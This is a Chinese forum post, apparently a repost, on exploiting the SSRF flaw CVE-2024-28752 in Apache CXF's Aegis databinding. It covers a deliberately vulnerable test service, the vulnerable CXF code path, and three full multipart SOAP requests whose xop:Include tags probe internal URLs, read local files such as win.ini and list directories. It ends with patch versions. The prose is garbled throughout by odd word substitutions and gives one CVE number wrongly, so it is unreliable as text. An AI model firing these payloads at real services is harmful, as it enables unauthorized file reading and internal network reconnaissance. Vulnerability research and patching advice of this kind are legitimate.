Apache CXF框架下WebService的SSRF漏洞挖掘思路

一给  论坛元老 | 2025-4-16 11:25:58 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 1848|帖子 1848|积分 5544

免责声明

 本帐号所发布的全部内容,包括但不限于信息、工具、项目以及文章,均旨在提供学习与研究之用。全部工具安全性自测。如因此产生的一切不良结果与文章作者无关。如有涉及公司与个人敏感信息,侵权烦请告知,我会立即删除并致歉。

媒介

Web Service 概念

起首必要知道什么是Web Service:
WebService 是一种基于网络的标准化服务,允许不同平台、不同语言的应用程序通过 HTTP/HTTPs 协议进行交互。它通过标准格式(如 XML/JSON)通报数据,支持以下两种主要范例:

  • SOAP:基于 XML 的协议,强调布局化和强范例,常用于企业级体系集成。
  • RESTful:基于 HTTP 方法(GET/POST 等)的轻量级架构,灵活易用,得当移动端和 Web 应用。
核心用途:跨体系数据互换、微服务通讯、第三方 API 集成。

Apache CXF框架简介

其次必要了解Apache CXF框架
Apache CXF 是一个开源的 Java 框架,Apache CXF 框架在因其支持 SOAP 和 RESTful 双协议、兼容性强且安全性高,成为企业级服务开发的重要工具。
主要特性


  • 双协议支持:同时支持 SOAP 和 RESTful 服务开发
  • 灵活数据绑定:集成 Aegis、JAXB 等,支持 XML/JSON 数据转换。
  • 无缝整合:与 Spring、OSGi 等主流框架深度集成。
  • 安全扩展:提供 WS-Security、OAuth 等安全机制。
  • 高性能:优化协议处置处罚,实用于高并发场景
思路分析

了解完基本概念以后,怎么判断目的是否利用了Apache CXF:
1、查看 pom.xml 、web.xml 文件

 pom.xml文件,搜刮以下依赖项:
  1. <dependency>
  2.     <groupId>org.apache.cxf</groupId>
  3.     <artifactId>cxf-rt-frontend-jaxws</artifactId>
  4.     <version>3.x.x</version>
  5. </dependency>
复制代码
其他常见模块:cxf-core、cxf-rt-transports-http等

web.xml 文件,搜刮以下依赖项:
  1.         <servlet>
  2.                 <servlet-name>CXFServlet</servlet-name>
  3.                 <servlet-class>org.apache.cxf.transport.servlet.CXFServlet</servlet-class>
  4.         </servlet>
  5.         <servlet-mapping>
  6.                 <servlet-name>CXFServlet</servlet-name>
  7.                 <url-pattern>/rest/*</url-pattern>
  8.         </servlet-mapping>
复制代码
2、WSDL 文件分析

CXF 生成的 SOAP 服务默认会暴露 WSDL 文件(如 http://服务地点?wsdl),其特征如下:


  • 命名空间:包含 http://cxf.apache.org/ 的命名空间声明。
  • 服务端点:服务端点地点可能包含 /services/ 路径。
  • Schema 特征:检查 XML 中是否包含 CXF 特定元素(如 <soap:address> 中的路径)。
一样平常漏洞挖掘中比较常见的方式就是通过war包以及jar文件,反编译后从/WEB-INF/lib/BOOT-INF/lib/ 目录中查找 cxf-core-3.x.x.jar文件以及web.xml中定义的servlet:
jar包

web.xml


漏洞挖掘以及利用

2024-03-14日apache官方发布了一个漏洞公告:
https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt
修复了一个 Apache CXF SSRF漏洞(CVE-2024-2875),从漏洞通告可以得知Aegis databinding 组件的AttachmentUtil 类存在漏洞,导致存在SSRF漏洞。
情况搭建

当地搭建一个简朴的WebService服务,导入存在漏洞的组件版本 3.4.9
  1.       <!-- Apache CXF 核心组件(漏洞版本) -->
  2.         <dependency>
  3.             <groupId>org.apache.cxf</groupId>
  4.             <artifactId>cxf-rt-frontend-jaxws</artifactId>
  5.             <version>3.4.9</version>
  6.         </dependency>
  7.         <!-- Aegis 数据绑定(SSRF 漏洞相关) -->
  8.         <dependency>
  9.             <groupId>org.apache.cxf</groupId>
  10.             <artifactId>cxf-rt-databinding-aegis</artifactId>
  11.             <version>3.4.9</version>
  12.         </dependency>
  13.         <!-- 嵌入式 Jetty 服务器 -->
  14.         <dependency>
  15.             <groupId>org.apache.cxf</groupId>
  16.             <artifactId>cxf-rt-transports-http-jetty</artifactId>
  17.             <version>3.4.9</version>
  18.         </dependency>
复制代码
创建一个 VulnerableServiceVul 接口:
  1. import javax.jws.WebService;
  2. @WebService
  3. public interface VulnerableService {
  4.     String fetchData(String url);
  5. }
复制代码
编写一个简朴的实现类:
  1. import javax.jws.WebService;
  2. import java.net.HttpURLConnection;
  3. import java.net.URL;
  4. @WebService(endpointInterface = "VulnerableService")
  5. public class VulnerableServiceImpl implements VulnerableService {
  6.     @Override
  7.     public String fetchData(String url) {
  8.         try {
  9.             URL target = new URL(url);
  10.             HttpURLConnection conn = (HttpURLConnection) target.openConnection();
  11.             conn.setRequestMethod("GET");
  12.             return "Response Code: " + conn.getResponseCode();
  13.         } catch (Exception e) {
  14.             return "Error: " + e.getMessage();
  15.         }
  16.     }
  17. }
复制代码
编写一个启动在当地8090端口的web服务:
  1. package com.example;
  2. import com.example.service.VulnerableService;
  3. import com.example.service.VulnerableServiceImpl;
  4. import org.apache.cxf.jaxws.JaxWsServerFactoryBean;
  5. class ServerStarter {
  6.     public static void main(String[] args) {
  7.         JaxWsServerFactoryBean factory = new JaxWsServerFactoryBean();
  8.         factory.setServiceClass(VulnerableService.class);
  9.         factory.setAddress("http://0.0.0.0:8090/ssrf");
  10.         factory.setServiceBean(new VulnerableServiceImpl());
  11.         factory.create();
  12.         System.out.println("服务已启动: http://localhost:8090/ssrf?wsdl");
  13.     }
  14. }
复制代码
启动web服务,运行正常:

漏洞分析

通过漏洞通告定位到AttachmentUtil类: org.apache.cxf.attachment.AttachmentUtil 
  1. <strong>getAttachmentDataSource方法</strong>
复制代码
  1. public static DataSource getAttachmentDataSource(String contentId, Collection<Attachment> atts) {
  2.     if (contentId.startsWith("cid:")) {
  3.         // 处理 Content-ID 本地引用
  4.         try {
  5.             contentId = URLDecoder.decode(contentId.substring(4), "UTF-8");
  6.         } catch (UnsupportedEncodingException ue) {
  7.             contentId = contentId.substring(4);
  8.         }
  9.         return loadDataSource(contentId, atts);
  10.     } else if (contentId.indexOf("://") == -1) {
  11.         // 处理本地资源引用
  12.         return loadDataSource(contentId, atts);
  13.     } else {
  14.         // 直接解析 URL 协议
  15.         try {
  16.             return new URLDataSource(new URL(contentId));
  17.         } catch (MalformedURLException e) {
  18.             throw new Fault(e);
  19.         }
  20.     }
  21. }
复制代码
从这个代码可以看到 如果 contentId 参数包含外部 URL(如 http://attacker.comfile:///etc/passwd)时,代码直接调用 new URL(contentId) 发起请求,导致攻击者可构造恶意请求,造成SSRF漏洞,通过插入一个XOP标签进行触发,比方以下格式:
  1. <xop:Include href="http://内网IP:端口/敏感路径"/>   <!-- 探测内网服务 -->
  2. <xop:Include href="file:///etc/passwd"/>          <!-- 读取本地文件 -->
复制代码
找到漏洞的代码后继续寻找触发点,定位到这个class文件:
1、请求解析入口:AttachmentDeserializer

AttachmentDeserializer 类负责拦截器处置处罚包含附件的请求,当检测到 Content-Type: multipart/related 时,该拦截器会启动多部门解析流程。
  1.     public AttachmentDeserializer(Message message) {
  2.         this(message, Collections.singletonList("multipart/related"));
  3.     }
  4.     public AttachmentDeserializer(Message message, List<String> supportedTypes) {
  5.         this.message = message;
  6.         this.supportedTypes = supportedTypes;
  7.     }
  8.    
  9.     public void initializeAttachments() throws IOException {
  10.         initializeRootMessage();
  11.         attachments = new LazyAttachmentCollection(this);
  12.         message.setAttachments(attachments);
  13.     }
复制代码
2、附件解析:AttachmentDataSource 和 AttachmentUtil

在解析附件时,会调用 AttachmentUtil.createAttachment 处置处罚:
  1. Map<String, List<String>> headers = this.loadPartHeaders(this.stream);
  2. return (AttachmentImpl)this.createAttachment(headers);
复制代码
3、数据绑定层JAXBA解析XOP Include标签

JAXBAttachmentUnmarshaller类会调用AttachmentUtil.getAttachmentDataSource函数解析<xop:Include href="..."> 标签从而触发SSRF漏洞:
  1. public class JAXBAttachmentUnmarshaller extends AttachmentUnmarshaller {
  2.     private static final Logger LOG = LogUtils.getL7dLogger(JAXBAttachmentUnmarshaller.class);
  3.     private Collection<Attachment> attachments;
  4.    
  5.     public JAXBAttachmentUnmarshaller(Collection<Attachment> attachments) {
  6.         super();
  7.         this.attachments = attachments;
  8.     }
  9.     @Override
  10.     public DataHandler getAttachmentAsDataHandler(String contentId) {
  11.         return new DataHandler(AttachmentUtil.getAttachmentDataSource(contentId, attachments));
  12.     }
  13.     @Override
  14.     public byte[] getAttachmentAsByteArray(String contentId) {
  15.         ByteArrayOutputStream bos = new ByteArrayOutputStream();
  16.         try {
  17.             InputStream is = AttachmentUtil.getAttachmentDataSource(contentId, attachments)
  18.                                            .getInputStream();
  19.             IOUtils.copy(is, bos);
  20.             is.close();
  21.             bos.close();
  22.         } catch (IOException e) {
  23.             throw new Fault(new org.apache.cxf.common.i18n.Message("ATTACHMENT_READ_ERROR", LOG), e);
  24.         }
  25.         return bos.toByteArray();
  26.     }
  27.     @Override
  28.     public boolean isXOPPackage() {
  29.         return attachments != null;
  30.     }
复制代码
漏洞复现

访问当地的8090端口的webservice服务:
http://127.0.0.1:8090/ssrf?wsdl

保举通过burp的Wsdler插件解析xml数据https://github.com/NetSPI/Wsdler)

构造为Content-Type: multipart/related的数据包,插入<xop:Include href="...">标签:
  1. POST /ssrf HTTP/1.1
  2. Host: 10.0.0.3:8090
  3. Content-Type: multipart/related; boundary=----4upt9dwdca8rtwq9osuz
  4. SOAPAction: ""
  5. Accept-Encoding: gzip, deflate
  6. Content-Length: 515
  7. ------4upt9dwdca8rtwq9osuz
  8. Content-Disposition: form-data; name="part1"
  9. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:ser="http://service.example.com/"
  10. xmlns:xop="http://www.w3.org/2004/08/xop/include">
  11.    <soapenv:Header/>
  12.    <soapenv:Body>
  13.       <ser:processRequest>
  14.          <arg0>
  15.             <xop:Include href="http://127.0.0.1:8090/ssrf?wsdl"/>
  16.          </arg0>
  17.       </ser:processRequest>
  18.    </soapenv:Body>
  19. </soapenv:Envelope>
  20. ------4upt9dwdca8rtwq9osuz--
复制代码
服务器返回如下:


base64解码即可获取到ssrf返回的内网服务器网站信息

通过SSRF实现任意文件读取
  1. POST /ssrf HTTP/1.1
  2. Host: 10.0.0.3:8090
  3. Content-Type: multipart/related; boundary=----4upt9dwdca8rtwq9osuz
  4. SOAPAction: ""
  5. Accept-Encoding: gzip, deflate
  6. Content-Length: 510
  7. ------4upt9dwdca8rtwq9osuz
  8. Content-Disposition: form-data; name="part1"
  9. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:ser="http://service.example.com/"
  10. xmlns:xop="http://www.w3.org/2004/08/xop/include">
  11.    <soapenv:Header/>
  12.    <soapenv:Body>
  13.       <ser:processRequest>
  14.          <arg0>
  15.             <xop:Include href="file:///C:/Windows/win.ini"/>
  16.          </arg0>
  17.       </ser:processRequest>
  18.    </soapenv:Body>
  19. </soapenv:Envelope>
  20. ------4upt9dwdca8rtwq9osuz--
复制代码

任意文件读取成功:


file协议支持目录遍历:
  1. POST /ssrf HTTP/1.1
  2. Host: 10.0.0.3:8090
  3. Content-Type: multipart/related; boundary=----4upt9dwdca8rtwq9osuz
  4. SOAPAction: ""
  5. Accept-Encoding: gzip, deflate
  6. Content-Length: 503
  7. ------4upt9dwdca8rtwq9osuz
  8. Content-Disposition: form-data; name="part1"
  9. <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:ser="http://service.example.com/"
  10. xmlns:xop="http://www.w3.org/2004/08/xop/include">
  11.    <soapenv:Header/>
  12.    <soapenv:Body>
  13.       <ser:processRequest>
  14.          <arg0>
  15.             <xop:Include href="file:///C:/Windows/"/>
  16.          </arg0>
  17.       </ser:processRequest>
  18.    </soapenv:Body>
  19. </soapenv:Envelope>
  20. ------4upt9dwdca8rtwq9osuz--
复制代码
目录遍历成功:


组件影响

Apache CXF Aegis DataBinding 组件版本低于4.0.4, 3.6.3 ,3.5.8,多个产品受该漏洞影响比方最近的蓝凌OA WebService任意文件读取漏洞等。

漏洞修复

将 org.apache.cxf:cxf-rt-databinding-aegis 升级至 4.0.4 及以上版本
将 org.apache.cxf:cxf-rt-databinding-aegis 升级至 3.6.3 及以上版本
将 org.apache.cxf:cxf-rt-databinding-aegis 升级至 3.5.8 及以上版本

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

一给

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表